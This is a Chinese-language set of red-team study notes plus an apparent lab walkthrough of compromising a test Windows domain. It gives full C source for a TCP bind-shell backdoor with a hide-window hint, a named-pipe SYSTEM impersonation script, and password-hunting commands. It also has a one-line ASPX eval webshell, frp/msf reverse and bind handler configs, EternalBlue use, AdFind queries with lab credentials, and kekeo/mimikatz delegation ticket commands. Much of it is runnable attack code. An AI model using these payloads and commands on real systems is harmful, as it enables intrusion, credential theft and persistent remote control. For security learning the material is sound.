    客户端计算机定期使用当前登录用户凭据进行域控制,以身份验证,然后生成配置策略,可用于软件部署,配置启动脚本,映射网络共享,配置注册表配置单元,配置打印机,管理安全权限等。还可以为本地管理员帐户配置密码。这些策略文件存储在域控制器的SYSVOL共享中的一系列.xml文件中。
    详细部分见 GPP 漏洞及相关利用
  • 凭证窃取


    就是从主机上翻密码:
    unattend.xml
    GPP.xml
    SYSPREP.INF
    sysprep.xml
    其他各种配置文件
    日志文件
    注册表项
    文件如my_passwords.txt,my_passwords.xls等
    

    还有各种信息收集:
    dir C:\*vnc.ini /s /b /c
    dir C:\ /s /b /c | findstr /sr \*password\*
    findstr /si password \*.txt | \*.xml | \*.ini
    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
    
  • CVE-2020-0668(利用符号提权)


    一个由符号连接导致的任意文件移动从而触发提权的漏洞。
    HKLM\SOFTWARE\Microsoft\Tracing 注册表项任意用户(Everyone)可写可读,Tracing注册表项主要用于Windows服务跟踪调试,调试过程中会以SYSTEM权限产生一个日志文件。
    将日志目录设置为 \RPC Control 对象目录的挂载点,然后创建两个符号链接:
    一个从 MODULE.LOG 链接到你控制的文件(大于 MaxFileSize,这样就会被移动并创建一个信的日志文件。)
    另一个从 MODULE.OLD 链接到文件系统中的任意文件(如C:\Windows\System32\WindowsCoreDeviceInfo.dll
    

    最后在 NT AUTHORITY\SYSTEM 权限下的一系列文件改动被触发,通过Update Session Orchestrator 服务来执行任意命令。
     \RPC Control\RASTAPI.LOG -> \??\C:\EXPLOIT\FakeDll.dll (owner = current user)
    \RPC Control\RASTAPI.OLD -> \??\C:\Windows\System32\WindowsCoreDeviceInfo.dll
    

    由此可将 DLL 文件写入 C:\Windows\system32\ 目录
  • 参考文献:


  • 命名管道基础


    是可以单向或双面再服务器和一个或多个客户端之间进行通讯的管道,命名管道的所有实例拥有相同的名称,但每个实例都有自己的缓冲区和句柄,用来为不同客户端通讯提供独立管道。
    命名管道的名称在本系统中是唯一的。
    命名管道可以被任意符合权限要求的进程访问。
    命名管道只能在本地创建。
    命名管道的客户端可以是本地进程(本地访问:\.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。
    命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。
    

    列出当前计算机上的所有命名管道(powershell):
    [System.IO.Directory]::GetFiles("\\.\\pipe\\")
    
  • 用管道实现简单 shell 后门


    一个正向 shell,被控者本地监听一个端口,由攻击者主动连接。
    image-20220315225501477
    攻击者的数据从通过 socket 传入被控者的 buffer,buffer 通过一个管道写入,CMD 从该管道的另一端读取,并作为输入。
    执行后,CMD 将输出写入另一个管道,由 buffer 从另一端读取后,通过 socket 发送给 hacker。
    windows 管道分为命名管道和匿名管道,其中匿名管道只能实现本地机器上两个进程的通信,通常用于父进程和子进程之间传送数据,这里采用匿名管道实现。
    代码(网上的代码有各种奇奇怪怪的 bug,最后写出来的也是个代码健壮性几乎为 0 的东西,但当作学习还是勉强能冲的)
    #include <stdio.h>
    #include <winsock2.h>
    #pragma comment (lib, "ws2_32")
    
    int main()
    {
        WSADATA wsa;
    
        WSAStartup(MAKEWORD(2, 2), &wsa);
    
        // 创建 TCP 套接字
        SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        // 绑定套接字
        sockaddr_in sock;
        sock.sin_family = AF_INET;
        sock.sin_addr.S_un.S_addr = INADDR_ANY;
        sock.sin_port = htons(29999);
        bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));
    
        // 设置监听
        listen(s, 5);
        // 接收客户端请求
        sockaddr_in sockClient;
        int SaddrSize = sizeof(SOCKADDR);
        SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);
    
        // 创建管道
        SECURITY_ATTRIBUTES sa1, sa2;
        HANDLE hRead1, hRead2, hWrite1, hWrite2;
    
        sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa1.lpSecurityDescriptor = NULL;
        sa1.bInheritHandle = TRUE;
    
        sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa2.lpSecurityDescriptor = NULL;
        sa2.bInheritHandle = TRUE;
    
        CreatePipe(&hRead1, &hWrite1, &sa1, 0);
        CreatePipe(&hRead2, &hWrite2, &sa2, 0);
    
        // 创建用于通信的子进程
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    
        ZeroMemory(&si, sizeof(STARTUPINFO));
        si.cb = sizeof(STARTUPINFO);
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        // 为了测试设置 SW_SHOW 实际上应该用 SW_HIDE
        si.wShowWindow = SW_SHOW;
        // 替换标准输入输出句柄
        si.hStdInput = hRead1;
        si.hStdOutput = hWrite2;
        si.hStdError = hWrite2;
    
        char* szCmd = "cmd";
    
        CreateProcess(NULL, TEXT("cmd"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
        unsigned long dwBytes = 0;
        BOOL bRet = FALSE;
        const int MAXSIZE = 0x1000;
        char szBuffer[MAXSIZE] = "\0";
    
        while (TRUE)
        {
            ZeroMemory(szBuffer, MAXSIZE);
            bRet = PeekNamedPipe(hRead2, szBuffer, MAXSIZE, &dwBytes, 0, 0);
    
            if (dwBytes)
            {
                ReadFile(hRead2, szBuffer, dwBytes, &dwBytes, NULL);
                printf("send:%s", szBuffer);
                int len = strlen(szBuffer);
                int iCurrSend = send(sc, szBuffer, len-1, 0);
                // 不知道为什么不-1的话链接会直接断掉
                if (iCurrSend <= 0)
                {
                    printf("send error %d", WSAGetLastError());
                    goto exit;
                }
            }
            else 
            {
                dwBytes = recv(sc, szBuffer, 1024, 0);
                if (dwBytes)
                {
                    printf("recv:%s", szBuffer);
                    WriteFile(hWrite1, szBuffer, strlen(szBuffer), &dwBytes, NULL);
                }
            }
        }
    exit:
        closesocket(s);
        CloseHandle(hRead1);
        CloseHandle(hRead2);
        CloseHandle(hWrite1);
        CloseHandle(hWrite2);
        WSACleanup();
        return 0;
    }
    
  • getsystem 原理


    命名管道有一个特点,就是允许服务端进程模拟连接到客户端进程。可以利用 ImpersonateNamedPipeClient 这个 API,通过命名管道的服务端进程模拟客户端进程的访问令牌,也就说如果有一个非管理员用户身份运行的命名管道服务器,并有一个管理员的进程连接到这个管道,那么理论上就可以冒充管理员用户。
    API 的官方描述:
    When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function
    

    使用的限制条件(满足其一):
    1.请求的令牌模拟级别小于 SecurityImpersonation,如 SecurityIdentification 或 securityyanonymous。
    2.调用方具有 SeImpersonatePrivilege 权限(通常需要 admin 用户)
    3.一个进程(或调用者登录会话中的另一个进程)通过 LogonUser 或 LsaLogonUser 函数使用显式凭据创建令牌。
    4.经过身份验证的标识与调用方相同。
    

    image-20220318151741588
    具体的实现过程:
    1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
    2.创建一个进程,并让进程创建命名管道。
    3.让之前的以system权限启动的程序启动并连接这个命名管道。
    4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
    5.利用system权限的token启动cmd.exe。
    

    通过 sysmon 可以看到一部分的实现:
    image-20220318172713799
    具体也可以用这个脚本实现全过程 https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1
    image-20220318174705913
    这里先创建了一个 named pipe security object ,并实例化了命名管道 "pipedummy",关联访问控制列表
    $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
    $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", 
    "ReadWrite", "Allow" )
    $PipeSecurity.AddAccessRule($AccessRule)
    
    $pipename="pipedummy"
    $pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",
    10, "Byte", "None", 1024, 1024, $PipeSecurity)
    $PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()
    

    进入等待连接,客户端连接后就读取发来的数据
    $pipe.WaitForConnection()
    
    $pipeReader = new-object System.IO.StreamReader($pipe)
    $Null = $pipereader.ReadToEnd()
    

    然后用 system 权限连接管道(主机无法直接用 system 登录,这里用了 msf 中的 shell)。
    echo test > \\.\pipe\dummypipe
    

    image-20220318181651093
    脚本中在当前线程中模拟客户端(调用 ImpersonateNamedPipeClient)
    #we are still Attacker
    $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
    #now  we are impersonating the user (Victim),
    $user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    echo $user
    # everything we do BEFORE RevertToSelf is done on behalf that user
    $RetVal = $RevertToSelf.Invoke()
    # we are again Attacker
    

    接着可以获得线程(victim,这里是 system 权限)的令牌。
    #we are Victim
    #get the current thread handle
    $ThreadHandle = $GetCurrentThread.Invoke()
    [IntPtr]$ThreadToken = [IntPtr]::Zero
    #get the token of victim's thread
    [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, 
    $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)
    

    然后用这个令牌的身份启动一个新的进程,通过 CreateProcessWithToken API,但是这个 API 的调用需要 SeImpersonatePrivilege 权限,这也对应了前面的条件限制。
    $RetVal = $RevertToSelf.Invoke()
    # we are again Attacker
    $pipe.close()
    #run a process as the previously impersonated user
    $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
    [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
    $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
    [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
    $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
    [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
    $memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null
    $processname="c:\windows\system32\cmd.exe"
    $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)
    $ProcessArgsPtr = [IntPtr]::Zero
    
    $Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,
    $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, 
    $StartupInfoPtr, $ProcessInfoPtr)
    
    $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    echo "CreateProcessWithToken: $Success  $ErrorCode"
    

    然后就可以看到弹出的 system 的 cmd了
    image-20220318181709330
    附注: CreateProcessWithToken ()依赖于“Secondary Logon Service(辅助登录服务)”,因此如果禁用此服务,调用将失败。(机翻)
    在 msf 也能看到类似操作:
    image-20220318183320801
  • 参考文献


  • 外网 weblogic 服务器


    不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下
    image-20220303185452353
    除此之外还可以试试 weblogic 的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化 rce 了。
    传个?上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是?的路径选择
    写入console images目录
    物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
    访问路径:
    /console/framework/skins/wlsconsole/images/shell.jsp
    能传上但访问404
    

    写入uddiexplorer目录中
    物理路径:
    C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
    访问路径:
    /uddiexplorer/shell.jsp
    (发现没这个目录)
    

    写入应用安装目录
    物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
    访问路径:
    /项目名/shell.jsp
    (也没路径)
    

    传马失败,等解决了再回来补,这里直接用 CS 生成 powershell 上线了。
    image-20220303201150831
  • 域内个人PC


    做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
    image-20220303203319380
    mimikatz 抓一下密码,win 2012 抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用 portscan 扫一下子网,发现 10.10.20.7 主机,传个代理继续打。
    不知道为什么 ew 用不了,所以改用 frp
    攻击机:
    [common]
    bind_addr =0.0.0.0
    bind_port = 7000
    

    跳板机:
    [common]
    server_addr = 192.168.0.128
    server_port = 7000
    
    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    用 CS 派生一个监听道到 msf,用 msf 继续打横向:
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.0.128
    set lport 20001
    连上之后迁移进程
    run post/windows/manage/migrate
    

    msf 挂上代理打永恒之蓝:
    set Proxies socks5:192.168.0.128:7777
    set ReverseAllowProxy true
    

    永恒之蓝的 shell 不稳定,容易打蓝屏,派生到 CS 上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用 msf 正向(防火墙限制)或用 CS 中转。
    image-20220304105521144
    比较无法理解的是不知道为什么生成 powershell command 不能选择 CS 中继 Listener,但生成 exe 就可以,第二个坑待会补,用 msf 传 exe 弹到 CS 中继上。
    在打的时候一直反弹不回来,后来想了想才发现 weblogic 主机没关防火墙,ping 都 ping 不通。。。
    最后弹回来了,永恒之蓝打的,还是个 system 权限,可以开始打域控了。
    注意这里不要直接用 ms17_010_eternalblue 打,很容易打蓝屏,用 ms17_010_comman 弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)
    最后还是用 ms17_010_eternalblue 打的。。。。。。
    image-20220304121350143
  • 域渗透


    先做本机信息收集,win7系统,另一张网卡 10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是 system 权限不在域中,考虑用 msf 的 steal_token 实现降权,重新反弹一个 shell 到 CS 中。
    image-20220304142516587
    继续利用 CS 进行域信息收集,域控 10.10.10.8,域管理员 administrator,还有一台 sqlserver 机器。
    image-20220304154659390
    考虑打域控的几种思路:
    1. 抓密码或 dump 密码,但运行 mimikatz 只能看到 saul 的密码,利用价值不大。
    2. 尝试令牌窃取,但 ps 中没有域控进程,遂放弃
    3. 已有漏洞,如 zerologon 的重置密码等
    4. 委派,先打其他主机
    5. 待补充,但可参考 https://github.com/infosecn1nja/AD-Attack-Defense

    这里尝试通过委派打其他主机,其他方式见坑4。
    传一个 Adfind 上去,查找一下配置了委派的用户
    查询配置了非约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了非约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    查询配置了约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    非约束主机:sqlserver 和 域控
    image-20220304163347119
    非约束用户:saulgoodman
    image-20220304163441281
    约束委派用户:sqlserver
    image-20220304163612633
    考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
    这里用约束委派攻击,但首先要拿下 sqlserver 这台机器,传个 fscan 做一下端口扫描。
    shell fscan64.exe -np -h 10.10.10.0/24
    

    80没东西,爆破一下1443 的 sa 用户,密码 sa,传个工具进行连接,这里选用的是 SqlKnife
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami
    

    image-20220304175322285
    但只是个数据库权限,要想办法提权,但现在这个 shell 很难用,记起来还有个 web 服务,考虑在 web 服务器目录下写shell,但权限太小遂放弃。
    最后用 EfsPotato 提权成功
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami
    

    image-20220304190539096
    这就是拿到一个 system 权限了。
    但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了 frp 搭了一层代理,让最外层的 kali 能直接访问 10.10.10.0/24。
    frpc.ini
    [common]
    server_addr = 10.10.20.12
    server_port = 9000
    
    [plugin_socks]
    type = tcp
    remote_port = 9999
    plugin = socks5
    

    frps.ini
    [common]
    bind_addr =0.0.0.0
    bind_port = 9000
    

    然后在 kali 的 proxychains4的 配置文件如下:
    image-20220304211645931
    直接挂代理起 msf,用 exploit/windows/mssql/mssql_clr_payload 模块之间打(注意设用户密码)
    用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
    image-20220304214533360
    也可以直接用 https://github.com/RowTeam/SharpSQLTools/ 带GUI界面执行文件。
    但不知道为什么一直没办法反弹到 cs 上,(或许不能弹中继的中继?)
    最后还是用 msf 生成正向 shell 的马传到 sqlserver 上,再用 再用 EfsPotato 提权后去执行,得到一个 system 权限的 meterpreter。(其实这里用 CS 的 beacon_tcp 也可以实现正向连接)
    msf监听:
    handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
    

    cs 跳板机正向连接
    connect 10.10.10.18 30004
    

    或者先在用 msf 写一个 bat,再用 EfsPotato 提权后去执行(这个 system 不能写只能执行),向 80 端口中写一个 webshell 连接上
    image-20220305202622332
    shell.bat:
    echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
    

    连上 webshell 之后就要想办法提权了
    查询当前系统缺失的常见可用于提权的补丁:
    systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    (坑。。。。。。具体试了几个都有各种限制)
    总而言之拿到了一个 msf 的 system 的shell,可以继续约束委派攻击了。
    先抓一波密码:
    image-20220305223326202
    这里的 sqlserver 是配置了约束委派的用户,降权到 sqlserver,传一个 kekeo 继续攻击
    请求用户的 TGT
    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt 
    

    用生成的 TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi 获取域机器的 ST:
    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
    

    最后用 mimikatz 将 ST2 导入当前会话
    mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
    

    此时已经和域控建立了 ipc 会话,可以直接远程查看
    image-20220306203648083
    拿到 flag。
  • 没解决的问题:


    • 一路的坑,之后慢慢填
    • CS 和 MSF 操作上有很多的问题
    • 多层内网的反弹 shell(后来一直都是正向链接,有防火墙的话就很难受)
    • 没过杀软,大问题
    • 流量不够隐蔽,没有很好的利用各种隧道隐藏技术
  • 参考文献